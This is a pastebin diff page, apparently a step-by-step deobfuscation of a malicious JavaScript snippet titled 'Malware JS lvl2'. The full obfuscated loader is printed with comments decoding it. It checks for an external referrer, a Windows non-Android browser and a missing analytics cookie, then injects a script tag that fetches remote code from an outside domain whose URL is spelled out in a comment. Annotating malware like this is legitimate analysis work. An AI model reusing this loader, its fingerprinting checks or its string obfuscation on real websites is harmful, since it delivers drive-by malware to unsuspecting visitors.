Re: Malware JS lvl2

From eeew, 4 Years ago, written in JavaScript, viewed 335 times. This paste is a reply to Malware JS lvl2 from eeew - go back
URL https://paste.godclan.hu/view/aFBPY-7h/diff Embed
Viewing differences between Malware JS lvl2 and Re: Malware JS lvl2
;
(function () {
        var mt = document[yb("jr)e)r4r;e;f8ejr,")] || '';
        
''; // document.referrer || ''
        
var xy = new RegExp(yb('&/7)g+)](/;^,[)(5/(/):{'));
        
RegExp(yb('&/7)g+)](/;^,[)(5/(/):{')); // "://([^/]+)/"
    // stop if referrer not external
        
if (!mt || window[yb(":nvo)i{t{a(c;oql(")][yb("2f)e)r{h,")][yb(":h(c(t}afm(")](xy)[1] == mt[yb(":h(c(t}afm(")](xy)[1]) {
{ // window.location.href.match("://([^/]+)/")[1] == document.referrer.match("://([^/]+)/")
                return;
        };
        var kp = navigator[yb("ct2n{e;g,Agr4e;s(u}")];
        
navigator[yb("ct2n{e;g,Agr4e;s(u}")]; // navigator.userAgent
        
var ss = document[yb("8e)i7k}o}o(c)")];
        
document[yb("8e)i7k}o}o(c)")]; // document.cookie
        
if (ar(kp, yb("fs}wqo{d6nmigWe")) && !ar(kp, yb("7d;i;o5r(d}n,A}"))) {
                
{ // userAgent contains "Windows" && userAgent !contains "Android"
                
if (!ar(ss, yb("s=(a;m(t7u;_r_y_{"))) {
{ // document.cookie !contains "___utma="
                        var qq = document.createElement('script');
                        qq.type = 'text/javascript';
                        qq.async = true;
            // "https://registry.expressvandelivery.com/WebResource.axd?d=dj1iODNkMDU1YzUzZWRhZDkyNjc2ZSZjaWQ9MjQ3&t=1593594029"
                        qq.src = yb('19x2;0}4u965,3,9x5019=;t8&{3{Qcj)M(9fQkW8a,j}Z)S(Z72}c}j(N{y,k{DcZ;h)RyW}ZlzsU2z)Y}1;U}D,Mak3N{D8O{i,1}j}d2=td(?(d}x4a9.6elc;r{u2o}s}e;R{b8e,W4/;m9onc,.yy{r,e(v;i7l,e(d)n;acv)s{s}e4r(pwx(e,.(ywr{tls}iag1efrm/}/m:{s;p}t{t)h(');
                        var di = document.getElementsByTagName('script')[0];
                        di.parentNode.insertBefore(qq, di);
                }
        }
        function ar(bi, df) { // contains: bi.indexOf(df) !== -1
                return bi[yb("rf;O}xie)d;n{i}")](df) !== -1;
        }
        function yb(ua) {
                var bb = '';
                for (var mv = 0; mv < ua.length; mv++) {
                        if (mv % 2 === 1)
                                bb += ua[mv];
                }
                bb = iz(bb);
                return bb;
        }
        function ar(bi, df) {
                return bi[yb("rf;O}xie)d;n{i}")](df) !== -1;
        }
        function iz(rl) {
                var bl = '';
                for (var tx = rl.length - 1; tx >= 0; tx--) {
                        bl += rl[tx];
                }
                return bl;
        }
})();

Replies to Re: Malware JS lvl2 rss

Title Name Language When
Malware JS lvl3 eeew javascript 4 Years ago.

Reply to "Re: Malware JS lvl2"

Here you can reply to the paste above